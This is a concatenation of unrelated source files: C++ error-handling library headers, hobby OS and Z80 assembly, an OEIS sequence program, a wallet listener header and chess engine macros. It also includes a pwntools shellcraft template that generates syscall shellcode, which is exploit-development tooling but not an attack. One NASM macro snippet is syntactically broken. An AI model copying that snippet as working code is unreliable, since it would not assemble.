return this->_error != o.error() || this->_ptr != o.exception();
}
if((this->_state._status & detail::status_have_error) != 0 && (o._state._status & detail::status_have_error) != 0)
{
return this->_error != o.error();
}
if((this->_state._status & detail::status_have_exception) != 0 && (o._state._status & detail::status_have_exception) != 0)
{
return this->_ptr != o.exception();
}
return true;
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
void swap(basic_outcome &o) noexcept(detail::is_nothrow_swappable<value_type>::value &&std::is_nothrow_move_constructible<value_type>::value //
&&detail::is_nothrow_swappable<error_type>::value &&std::is_nothrow_move_constructible<error_type>::value //
&&detail::is_nothrow_swappable<exception_type>::value &&std::is_nothrow_move_constructible<exception_type>::value)
{
using std::swap;
#ifdef __cpp_exceptions
constexpr bool value_throws = !noexcept(this->_state.swap(o._state));
constexpr bool error_throws = !noexcept(swap(this->_error, o._error));
constexpr bool exception_throws = !noexcept(swap(this->_ptr, o._ptr));
#ifdef _MSC_VER
#pragma warning(push)
#pragma warning(disable : 4127) // conditional expression is constant
#endif
// Do throwing swap first
if((value_throws && !error_throws && !exception_throws) || (!value_throws && !error_throws && !exception_throws))
{
this->_state.swap(o._state);
swap(this->_error, o._error);
swap(this->_ptr, o._ptr);
}
else if(!value_throws && !error_throws && exception_throws)
{
swap(this->_ptr, o._ptr);
this->_state.swap(o._state);
swap(this->_error, o._error);
}
else if(!value_throws && error_throws && !exception_throws)
{
swap(this->_error, o._error);
this->_state.swap(o._state);
swap(this->_ptr, o._ptr);
}
else
{
// Two or more can throw
this->_state.swap(o._state);
bool exception_threw = false;
try
{
swap(this->_error, o._error);
exception_threw = true;
swap(this->_ptr, o._ptr);
}
catch(...)
{
// Try to put it back
bool error_is_mine = !exception_threw;
try
{
if(exception_threw)
{
swap(this->_error, o._error);
error_is_mine = true;
}
this->_state.swap(o._state);
// If that succeeded, continue by rethrowing the exception
}
catch(...)
{
if(error_is_mine)
{
try
{
swap(this->_error, o._error);
error_is_mine = false;
}
catch(...)
{
}
}
// Prevent has_value() == has_error() or has_value() == has_exception()
auto check = [](basic_outcome *t, bool set_error) {
if(t->has_value() && (t->has_error() || t->has_exception()))
{
// We know the value swapped and is now set, so clear error and exception
t->_state._status &= ~(detail::status_have_error | detail::status_have_exception);
}
if(!t->has_value() && !(t->has_error() || t->has_exception()))
{
// We know the value swapped and is now unset, so either set exception or error
if(set_error)
{
t->_state._status |= detail::status_have_error;
}
else
{
t->_state._status |= detail::status_have_exception;
}
}
};
// If my value is unset and error is not mine, set error
check(this, !error_is_mine);
// If other's value is unset and error is not mine, set error
check(&o, !error_is_mine);
}
throw;
}
}
#ifdef _MSC_VER
#pragma warning(pop)
#endif
#else
this->_state.swap(o._state);
swap(this->_error, o._error);
swap(this->_ptr, o._ptr);
#endif
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
failure_type<error_type, exception_type> as_failure() const &
{
if(this->has_error() && this->has_exception())
{
return failure_type<error_type, exception_type>(this->assume_error(), this->assume_exception());
}
if(this->has_exception())
{
return failure_type<error_type, exception_type>(in_place_type<exception_type>, this->assume_exception());
}
return failure_type<error_type, exception_type>(in_place_type<error_type>, this->assume_error());
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
failure_type<error_type, exception_type> as_failure() &&
{
if(this->has_error() && this->has_exception())
{
return failure_type<error_type, exception_type>(static_cast<S &&>(this->assume_error()), static_cast<P &&>(this->assume_exception()));
}
if(this->has_exception())
{
return failure_type<error_type, exception_type>(in_place_type<exception_type>, static_cast<P &&>(this->assume_exception()));
}
return failure_type<error_type, exception_type>(in_place_type<error_type>, static_cast<S &&>(this->assume_error()));
}
};
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T, class U, class V, //
class R, class S, class P, class N)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<basic_outcome<R, S, P, N>>() == std::declval<basic_result<T, U, V>>()))
constexpr inline bool operator==(const basic_result<T, U, V> &a, const basic_outcome<R, S, P, N> &b) noexcept( //
noexcept(std::declval<basic_outcome<R, S, P, N>>() == std::declval<basic_result<T, U, V>>()))
{
return b == a;
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T, class U, class V, //
class R, class S, class P, class N)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<basic_outcome<R, S, P, N>>() != std::declval<basic_result<T, U, V>>()))
constexpr inline bool operator!=(const basic_result<T, U, V> &a, const basic_outcome<R, S, P, N> &b) noexcept( //
noexcept(std::declval<basic_outcome<R, S, P, N>>() != std::declval<basic_result<T, U, V>>()))
{
return b != a;
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class R, class S, class P, class N> inline void swap(basic_outcome<R, S, P, N> &a, basic_outcome<R, S, P, N> &b) noexcept(noexcept(a.swap(b)))
{
a.swap(b);
}
namespace hooks
{
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class R, class S, class P, class NoValuePolicy, class U> constexpr inline void override_outcome_exception(basic_outcome<R, S, P, NoValuePolicy> *o, U &&v) noexcept
{
o->_ptr = static_cast<U &&>(v); // NOLINT
o->_state._status |= detail::status_have_exception;
}
} // namespace hooks
OUTCOME_V2_NAMESPACE_END
#ifdef __clang__
#pragma clang diagnostic pop
#endif
/* Exception observers for outcome type
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: Oct 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_BASIC_OUTCOME_EXCEPTION_OBSERVERS_IMPL_HPP
#define OUTCOME_BASIC_OUTCOME_EXCEPTION_OBSERVERS_IMPL_HPP
OUTCOME_V2_NAMESPACE_EXPORT_BEGIN
namespace policy
{
template <class R, class S, class P, class NoValuePolicy, class Impl> inline constexpr auto &&base::_exception(Impl &&self) noexcept
{
// Impl will be some internal implementation class which has no knowledge of the _ptr stored
// beneath it. So statically cast, preserving rvalue and constness, to the derived class.
using Outcome = OUTCOME_V2_NAMESPACE::detail::rebind_type<basic_outcome<R, S, P, NoValuePolicy>, decltype(self)>;
#if defined(_MSC_VER) && _MSC_VER < 1920
// VS2017 tries a copy construction in the correct implementation despite that Outcome is always a rvalue or lvalue ref! :(
basic_outcome<R, S, P, NoValuePolicy> &_self = (basic_outcome<R, S, P, NoValuePolicy> &) (self); // NOLINT
#else
Outcome _self = static_cast<Outcome>(self); // NOLINT
#endif
return static_cast<Outcome>(_self)._ptr;
}
} // namespace policy
namespace detail
{
template <class Base, class R, class S, class P, class NoValuePolicy> inline constexpr typename basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::exception_type &basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::assume_exception() & noexcept
{
NoValuePolicy::narrow_exception_check(*this);
return NoValuePolicy::template _exception<R, S, P, NoValuePolicy>(*this);
}
template <class Base, class R, class S, class P, class NoValuePolicy> inline constexpr const typename basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::exception_type &basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::assume_exception() const &noexcept
{
NoValuePolicy::narrow_exception_check(*this);
return NoValuePolicy::template _exception<R, S, P, NoValuePolicy>(*this);
}
template <class Base, class R, class S, class P, class NoValuePolicy> inline constexpr typename basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::exception_type &&basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::assume_exception() && noexcept
{
NoValuePolicy::narrow_exception_check(std::move(*this));
return NoValuePolicy::template _exception<R, S, P, NoValuePolicy>(std::move(*this));
}
template <class Base, class R, class S, class P, class NoValuePolicy> inline constexpr const typename basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::exception_type &&basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::assume_exception() const &&noexcept
{
NoValuePolicy::narrow_exception_check(std::move(*this));
return NoValuePolicy::template _exception<R, S, P, NoValuePolicy>(std::move(*this));
}
template <class Base, class R, class S, class P, class NoValuePolicy> inline constexpr typename basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::exception_type &basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::exception() &
{
NoValuePolicy::wide_exception_check(*this);
return NoValuePolicy::template _exception<R, S, P, NoValuePolicy>(*this);
}
template <class Base, class R, class S, class P, class NoValuePolicy> inline constexpr const typename basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::exception_type &basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::exception() const &
{
NoValuePolicy::wide_exception_check(*this);
return NoValuePolicy::template _exception<R, S, P, NoValuePolicy>(*this);
}
template <class Base, class R, class S, class P, class NoValuePolicy> inline constexpr typename basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::exception_type &&basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::exception() &&
{
NoValuePolicy::wide_exception_check(std::move(*this));
return NoValuePolicy::template _exception<R, S, P, NoValuePolicy>(std::move(*this));
}
template <class Base, class R, class S, class P, class NoValuePolicy> inline constexpr const typename basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::exception_type &&basic_outcome_exception_observers<Base, R, S, P, NoValuePolicy>::exception() const &&
{
NoValuePolicy::wide_exception_check(std::move(*this));
return NoValuePolicy::template _exception<R, S, P, NoValuePolicy>(std::move(*this));
}
} // namespace detail
OUTCOME_V2_NAMESPACE_END
#endif
#if !defined(NDEBUG)
OUTCOME_V2_NAMESPACE_BEGIN
// Check is trivial in all ways except default constructibility and standard layout
// static_assert(std::is_trivial<basic_outcome<int, long, double, policy::all_narrow>>::value, "outcome<int> is not trivial!");
// static_assert(std::is_trivially_default_constructible<basic_outcome<int, long, double, policy::all_narrow>>::value, "outcome<int> is not trivially default constructible!");
static_assert(std::is_trivially_copyable<basic_outcome<int, long, double, policy::all_narrow>>::value, "outcome<int> is not trivially copyable!");
static_assert(std::is_trivially_assignable<basic_outcome<int, long, double, policy::all_narrow>, basic_outcome<int, long, double, policy::all_narrow>>::value, "outcome<int> is not trivially assignable!");
static_assert(std::is_trivially_destructible<basic_outcome<int, long, double, policy::all_narrow>>::value, "outcome<int> is not trivially destructible!");
static_assert(std::is_trivially_copy_constructible<basic_outcome<int, long, double, policy::all_narrow>>::value, "outcome<int> is not trivially copy constructible!");
static_assert(std::is_trivially_move_constructible<basic_outcome<int, long, double, policy::all_narrow>>::value, "outcome<int> is not trivially move constructible!");
static_assert(std::is_trivially_copy_assignable<basic_outcome<int, long, double, policy::all_narrow>>::value, "outcome<int> is not trivially copy assignable!");
static_assert(std::is_trivially_move_assignable<basic_outcome<int, long, double, policy::all_narrow>>::value, "outcome<int> is not trivially move assignable!");
// Can't be standard layout as non-static member data is defined in more than one inherited class
// static_assert(std::is_standard_layout<basic_outcome<int, long, double, policy::all_narrow>>::value, "outcome<int> is not a standard layout type!");
OUTCOME_V2_NAMESPACE_END
#endif
#endif
/* Try operation macros
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: July 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_TRY_HPP
#define OUTCOME_TRY_HPP
namespace std // NOLINT
{
namespace experimental
{
template <class T, class E> class expected;
template <class E> class unexpected;
} // namespace experimental
} // namespace std
OUTCOME_V2_NAMESPACE_BEGIN
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<T>().as_failure()))
inline decltype(auto) try_operation_return_as(T &&v)
{
return static_cast<T &&>(v).as_failure();
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class T, class E> inline auto try_operation_return_as(const std::experimental::expected<T, E> &v)
{
return std::experimental::unexpected<E>(v.error());
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class T, class E> inline auto try_operation_return_as(std::experimental::expected<T, E> &&v)
{
return std::experimental::unexpected<E>(static_cast<std::experimental::expected<T, E> &&>(v).error());
}
namespace detail
{
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<T>().assume_value()))
inline decltype(auto) try_extract_value(T &&v) { return static_cast<T &&>(v).assume_value(); }
template <class T, class... Args> inline decltype(auto) try_extract_value(T &&v, Args &&... /*unused*/) { return static_cast<T &&>(v).value(); }
} // namespace detail
OUTCOME_V2_NAMESPACE_END
#define OUTCOME_TRY_GLUE2(x, y) x##y
#define OUTCOME_TRY_GLUE(x, y) OUTCOME_TRY_GLUE2(x, y)
#define OUTCOME_TRY_UNIQUE_NAME OUTCOME_TRY_GLUE(_outcome_try_unique_name_temporary, __COUNTER__)
#define OUTCOME_TRY_RETURN_ARG_COUNT(_1_, _2_, _3_, _4_, _5_, _6_, _7_, _8_, count, ...) count
#define OUTCOME_TRY_EXPAND_ARGS(args) OUTCOME_TRY_RETURN_ARG_COUNT args
#define OUTCOME_TRY_COUNT_ARGS_MAX8(...) OUTCOME_TRY_EXPAND_ARGS((__VA_ARGS__, 8, 7, 6, 5, 4, 3, 2, 1, 0))
#define OUTCOME_TRY_OVERLOAD_MACRO2(name, count) name##count
#define OUTCOME_TRY_OVERLOAD_MACRO1(name, count) OUTCOME_TRY_OVERLOAD_MACRO2(name, count)
#define OUTCOME_TRY_OVERLOAD_MACRO(name, count) OUTCOME_TRY_OVERLOAD_MACRO1(name, count)
#define OUTCOME_TRY_OVERLOAD_GLUE(x, y) x y
#define OUTCOME_TRY_CALL_OVERLOAD(name, ...) OUTCOME_TRY_OVERLOAD_GLUE(OUTCOME_TRY_OVERLOAD_MACRO(name, OUTCOME_TRY_COUNT_ARGS_MAX8(__VA_ARGS__)), (__VA_ARGS__))
#if !defined(__clang__) && defined(__GNUC__) && __GNUC__ >= 8
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wparentheses"
#endif
#define OUTCOME_TRYV2(unique, ...) auto && (unique) = (__VA_ARGS__); if(!(unique).has_value()) return OUTCOME_V2_NAMESPACE::try_operation_return_as(static_cast<decltype(unique) &&>(unique))
#define OUTCOME_TRY2(unique, v, ...) OUTCOME_TRYV2(unique, __VA_ARGS__); auto && (v) = OUTCOME_V2_NAMESPACE::detail::try_extract_value(static_cast<decltype(unique) &&>(unique))
#if !defined(__clang__) && defined(__GNUC__) && __GNUC__ >= 8
#pragma GCC diagnostic pop
#endif
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
#define OUTCOME_TRYV(...) OUTCOME_TRYV2(OUTCOME_TRY_UNIQUE_NAME, __VA_ARGS__)
#if defined(__GNUC__) || defined(__clang__)
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
#define OUTCOME_TRYX(...) ({ auto &&res = (__VA_ARGS__); if(!res.has_value()) return OUTCOME_V2_NAMESPACE::try_operation_return_as(static_cast<decltype(res) &&>(res)); OUTCOME_V2_NAMESPACE::detail::try_extract_value(static_cast<decltype(res) &&>(res)); })
#endif
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
#define OUTCOME_TRYA(v, ...) OUTCOME_TRY2(OUTCOME_TRY_UNIQUE_NAME, v, __VA_ARGS__)
#define OUTCOME_TRY_INVOKE_TRY8(a, b, c, d, e, f, g, h) OUTCOME_TRYA(a, b, c, d, e, f, g, h)
#define OUTCOME_TRY_INVOKE_TRY7(a, b, c, d, e, f, g) OUTCOME_TRYA(a, b, c, d, e, f, g)
#define OUTCOME_TRY_INVOKE_TRY6(a, b, c, d, e, f) OUTCOME_TRYA(a, b, c, d, e, f)
#define OUTCOME_TRY_INVOKE_TRY5(a, b, c, d, e) OUTCOME_TRYA(a, b, c, d, e)
#define OUTCOME_TRY_INVOKE_TRY4(a, b, c, d) OUTCOME_TRYA(a, b, c, d)
#define OUTCOME_TRY_INVOKE_TRY3(a, b, c) OUTCOME_TRYA(a, b, c)
#define OUTCOME_TRY_INVOKE_TRY2(a, b) OUTCOME_TRYA(a, b)
#define OUTCOME_TRY_INVOKE_TRY1(a) OUTCOME_TRYV(a)
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
#define OUTCOME_TRY(...) OUTCOME_TRY_CALL_OVERLOAD(OUTCOME_TRY_INVOKE_TRY, __VA_ARGS__)
#endif
|
[BITS 32]
GLOBAL start_app
start_app: ; void start_app(int eip, int cs, int esp, int ds, int *tss_esp0);
PUSHAD
MOV EAX, [ESP+36] ; EIP
MOV ECX, [ESP+40] ; CS
MOV EDX, [ESP+44] ; ESP
MOV EBX, [ESP+48] ; DS/SS
MOV EBP, [ESP+52] ; tss.esp0
MOV [EBP], ESP
MOV [EBP+4], SS
MOV ES, BX
MOV DS, BX
MOV FS, BX
MOV GS, BX
OR ECX, 3
OR EBX, 3
PUSH EBX
PUSH EDX
PUSH ECX
PUSH EAX
RETF
|
SECTION code_driver
SECTION code_driver_terminal_output
PUBLIC rc_01_output_siob_stdio_msg_ictl
EXTERN rc_01_output_sioa_stdio_msg_ictl
defc rc_01_output_siob_stdio_msg_ictl = rc_01_output_sioa_stdio_msg_ictl
; ioctl messages understood:
;
; defc IOCTL_OTERM_CRLF = $c012
; defc IOCTL_OTERM_COOK = $c022
; defc IOCTL_OTERM_BELL = $c102
; defc IOCTL_OTERM_SIGNAL = $c202
; defc IOCTL_OTERM_GET_OTERM = $0602
;
; enter : de = request
; bc = first parameter
; hl = void *arg (0 if stdio flags)
;
; exit : hl = return value
; carry set if ioctl rejected
;
; uses : af, bc, de, hl
|
%macro addbyte 3
; first is memory location to output
; second is the memory location of the string
; third parameter is the base of the number
mov eax, [%1]
mov di, 0
%%loopagain:
mov edx, 0
div %3
xchg eax, edx
cmp al, 0Ah
js %%addvalue
add al, 7
%%addvalue:
add al,48
mov [%2], al
mov al,[%1]
and al,0f0h
shr al,4
cmp al,09h
js %%addvalue2
add al,7
%%addvalue2:
add al,8
mov [%2+di], al
inc di
xchg eax edx
cmp al, 0
js %%loopagain
%endmacro
global _main
extern _printf
section .text
_main:
addbyte number, numberstr
mov al,[number]
and al,0f0h
shr al,4
cmp al,09h
js addvalue2
add al,7
addvalue2:
add al,8
push fmt
push message
call _printf
add esp,8
ret
section .data
fmt:
db '%s', 10, 0
message:
db 'Hello, my students',10,0
numberstr:
times 11 db 0
number:
dd 000004dAH
|
; pasmo -I ../binary16 -d test_fsqrt.asm 24576.bin > test.asm ; grep "BREAKPOINT" test.asm
; randomize usr 57344
INCLUDE "finit.asm"
color_flow_warning EQU 1
carry_flow_warning EQU 1
DATA_ADR EQU $6000 ; 24576
TEXT_ADR EQU $E000 ; 57344
ORG DATA_ADR
INCLUDE "test_fsqrt.dat"
dw $BABE, $DEAD ; Stop MARK
; Subroutines
INCLUDE "fsqrt.asm"
INCLUDE "fequals.asm"
INCLUDE "print_txt.asm"
INCLUDE "print_hex.asm"
; Lookup tables
INCLUDE "fsqrt.tab"
if ( $ > TEXT_ADR )
.ERROR "Prilis dlouha data!"
endif
ORG TEXT_ADR
LD HL, DATA_ADR
PUSH HL
READ_DATA:
POP HL
LD BC, $0004
LD DE, OP1
LDIR
PUSH HL
; HL = HL + DE
; HL = HL - DE
; HL = BC * DE
; HL = BC % HL
; HL = BC / HL
; HL = HL * HL
; HL = HL % 1
; HL = HL^0.5
LD HL, (OP1)
BREAKPOINT:
; FUSE Debugger
; br 0xE011
PUSH HL
CALL FSQRT ; HL = HL^0.5
POP BC
; kontrola
LD BC, (RESULT)
IGNORE EQU $+1
LD A, $00
OR A
LD A, $00
LD (IGNORE), A
JR nz, READ_DATA
CALL FEQUALS
if 1
JR nc, READ_DATA
JR z, PRINT_OK
else
JR z, PRINT_OK
endif
CALL PRINT_DATA
if 1
OR A
LD HL, $DEAD
SBC HL, BC
JR nz, READ_DATA
endif
POP HL
RET ; exit
PRINT_OK:
CALL PRINT_DATA
JR READ_DATA
OP1:
defs 2
RESULT:
defs 2
; BC = kontrolni
; HL = spocitana
PRINT_DATA:
LD (DATA_COL), A
LD DE, DATA_4
CALL WRITE_HEX
LD HL, (OP1)
LD DE, DATA_1
CALL WRITE_HEX
LD H, B
LD L, C
LD DE, DATA_3
CALL WRITE_HEX
CALL PRINT_TXT
defb INK, COL_WHITE, '($'
DATA_1:
defs 4
defb ')', $5E, '0.5 = $'
DATA_3:
defs 4
defb ' ? ', INK
DATA_COL:
defb COL_WHITE, '$'
DATA_4:
defs 4
defb NEW_LINE
defb STOP_MARK
|
; A020854: Decimal expansion of 1/sqrt(97).
; Submitted by Jon Maiga
; 1,0,1,5,3,4,6,1,6,5,1,3,3,6,1,9,0,4,3,4,7,8,9,9,0,8,6,7,5,1,7,2,8,0,8,7,4,4,0,1,6,6,3,5,3,4,7,8,7,9,1,3,8,3,2,1,3,6,4,0,7,6,8,3,4,8,8,2,9,2,8,4,3,6,8,1,2,0,3,9,8,2,4,8,3,8,3,5,1,3,2,3,8,3,0,3,3,5,8,3
mov $2,1
mov $3,$0
add $3,7
mov $4,$0
mov $0,2
add $4,3
mov $7,10
pow $7,$4
mov $9,10
lpb $3
add $1,$2
mov $4,$2
pow $4,2
mul $4,96
mov $5,$1
pow $5,2
add $4,$5
mov $6,$1
mov $1,$4
mul $6,$2
mul $6,2
mov $2,$6
mov $8,$4
div $8,$7
max $8,2
div $1,$8
div $2,$8
sub $3,1
lpe
mov $3,$9
pow $3,$0
div $2,$3
mov $0,$2
mod $0,10
|
<%
import collections
import pwnlib.abi
import pwnlib.constants
import pwnlib.shellcraft
import six
%>
<%docstring>prof(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4) -> str
Invokes the syscall prof.
See 'man 2 prof' for more information.
Arguments:
vararg(int): vararg
Returns:
long
</%docstring>
<%page args="vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None"/>
<%
abi = pwnlib.abi.ABI.syscall()
stack = abi.stack
regs = abi.register_arguments[1:]
allregs = pwnlib.shellcraft.registers.current()
can_pushstr = []
can_pushstr_array = []
argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4']
argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4]
# Load all of the arguments into their destination registers / stack slots.
register_arguments = dict()
stack_arguments = collections.OrderedDict()
string_arguments = dict()
dict_arguments = dict()
array_arguments = dict()
syscall_repr = []
for name, arg in zip(argument_names, argument_values):
if arg is not None:
syscall_repr.append('%s=%r' % (name, arg))
# If the argument itself (input) is a register...
if arg in allregs:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[index] = arg
# The argument is not a register. It is a string value, and we
# are expecting a string value
elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)):
if isinstance(arg, six.text_type):
arg = arg.encode('utf-8')
string_arguments[name] = arg
# The argument is not a register. It is a dictionary, and we are
# expecting K:V paris.
elif name in can_pushstr_array and isinstance(arg, dict):
array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]
# The arguent is not a register. It is a list, and we are expecting
# a list of arguments.
elif name in can_pushstr_array and isinstance(arg, (list, tuple)):
array_arguments[name] = arg
# The argument is not a register, string, dict, or list.
# It could be a constant string ('O_RDONLY') for an integer argument,
# an actual integer value, or a constant.
else:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[target] = arg
# Some syscalls have different names on various architectures.
# Determine which syscall number to use for the current architecture.
for syscall in ['SYS_prof']:
if hasattr(pwnlib.constants, syscall):
break
else:
raise Exception("Could not locate any syscalls: %r" % syscalls)
%>
/* prof(${', '.join(syscall_repr)}) */
%for name, arg in string_arguments.items():
${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))}
${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}
%endfor
%for name, arg in array_arguments.items():
${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}
%endfor
%for name, arg in stack_arguments.items():
${pwnlib.shellcraft.push(arg)}
%endfor
${pwnlib.shellcraft.setregs(register_arguments)}
${pwnlib.shellcraft.syscall(syscall)} |
// AUTOGENERATED FILE - DO NOT MODIFY!
// This file generated by Djinni from libunity.djinni
#ifndef DJINNI_GENERATED_NJSIWALLETLISTENER_HPP
#define DJINNI_GENERATED_NJSIWALLETLISTENER_HPP
#include "balance_record.hpp"
#include "input_record.hpp"
#include "mutation_record.hpp"
#include "output_record.hpp"
#include "transaction_record.hpp"
#include <string>
#include <napi.h>
#include <uv.h>
#include <i_wallet_listener.hpp>
using namespace std;
class NJSIWalletListener: public Napi::ObjectWrap<NJSIWalletListener> {
public:
static Napi::FunctionReference constructor;
static Napi::Object Init(Napi::Env env, Napi::Object exports);
NJSIWalletListener(const Napi::CallbackInfo& info) : Napi::ObjectWrap<NJSIWalletListener>(info){};
/** Notification of change in overall wallet balance */
void notifyBalanceChange(const BalanceRecord & new_balance);
/**
* Notification of new mutations.
* If self_committed it is due to a call to performPaymentToRecipient, else it is because of a transaction
* reached us in another way. In general this will be because we received funds from someone, hower there are
* also cases where funds is send from our wallet while !self_committed (for example by a linked desktop wallet
* or another wallet instance using the same keys as ours).
*
* Note that no notifyNewMutation events will fire until after 'notifySyncDone'
* Therefore it is necessary to first fetch the full mutation history before starting to listen for this event.
*/
void notifyNewMutation(const MutationRecord & mutation, bool self_committed);
/**
* Notification that an existing transaction/mutation has updated
*
* Note that no notifyUpdatedTransaction events will fire until after 'notifySyncDone'
* Therefore it is necessary to first fetch the full mutation history before starting to listen for this event.
*/
void notifyUpdatedTransaction(const TransactionRecord & transaction);
/** Wallet unlocked */
void notifyWalletUnlocked();
/** Wallet locked */
void notifyWalletLocked();
/** Core wants the wallet to unlock; UI should respond to this by calling 'UnlockWallet' */
void notifyCoreWantsUnlock(const std::string & reason);
/** Core wants display info to the user, type can be one of "MSG_ERROR", "MSG_WARNING", "MSG_INFORMATION"; caption is the suggested caption and message the suggested message to display */
void notifyCoreInfo(const std::string & type, const std::string & caption, const std::string & message);
private:
/** Notification of change in overall wallet balance */
void notifyBalanceChange(const Napi::CallbackInfo& info);
void notifyBalanceChange_aimpl__(const BalanceRecord & new_balance);
/**
* Notification of new mutations.
* If self_committed it is due to a call to performPaymentToRecipient, else it is because of a transaction
* reached us in another way. In general this will be because we received funds from someone, hower there are
* also cases where funds is send from our wallet while !self_committed (for example by a linked desktop wallet
* or another wallet instance using the same keys as ours).
*
* Note that no notifyNewMutation events will fire until after 'notifySyncDone'
* Therefore it is necessary to first fetch the full mutation history before starting to listen for this event.
*/
void notifyNewMutation(const Napi::CallbackInfo& info);
void notifyNewMutation_aimpl__(const MutationRecord & mutation, bool self_committed);
/**
* Notification that an existing transaction/mutation has updated
*
* Note that no notifyUpdatedTransaction events will fire until after 'notifySyncDone'
* Therefore it is necessary to first fetch the full mutation history before starting to listen for this event.
*/
void notifyUpdatedTransaction(const Napi::CallbackInfo& info);
void notifyUpdatedTransaction_aimpl__(const TransactionRecord & transaction);
/** Wallet unlocked */
void notifyWalletUnlocked(const Napi::CallbackInfo& info);
void notifyWalletUnlocked_aimpl__();
/** Wallet locked */
void notifyWalletLocked(const Napi::CallbackInfo& info);
void notifyWalletLocked_aimpl__();
/** Core wants the wallet to unlock; UI should respond to this by calling 'UnlockWallet' */
void notifyCoreWantsUnlock(const Napi::CallbackInfo& info);
void notifyCoreWantsUnlock_aimpl__(const std::string & reason);
/** Core wants display info to the user, type can be one of "MSG_ERROR", "MSG_WARNING", "MSG_INFORMATION"; caption is the suggested caption and message the suggested message to display */
void notifyCoreInfo(const Napi::CallbackInfo& info);
void notifyCoreInfo_aimpl__(const std::string & type, const std::string & caption, const std::string & message);
};
#endif //DJINNI_GENERATED_NJSIWALLETLISTENER_HPP
|
macro ShiftBB delta, b, t
if delta = DELTA_N
shl b, 8
else if delta = DELTA_S
shr b, 8
else if delta = DELTA_E
mov t, not FileHBB
and b, t
shl b, 1
else if delta = DELTA_W
mov t, not FileABB
and b, t
shr b, 1
else if delta = DELTA_NE
mov t, not FileHBB
and b, t
shl b, 9
else if delta = DELTA_SE
mov t, not FileHBB
and b, t
shr b, 7
else if delta = DELTA_NW
mov t, not FileABB
and b, t
shl b, 7
else if delta = DELTA_SW
mov t, not FileABB
and b, t
shr b, 9
else
err 'delta in shift_bb strange'
end if
end macro
macro attacks_from_pawn color, res, square
if color = White
mov res, qword[WhitePawnAttacks+8*square]
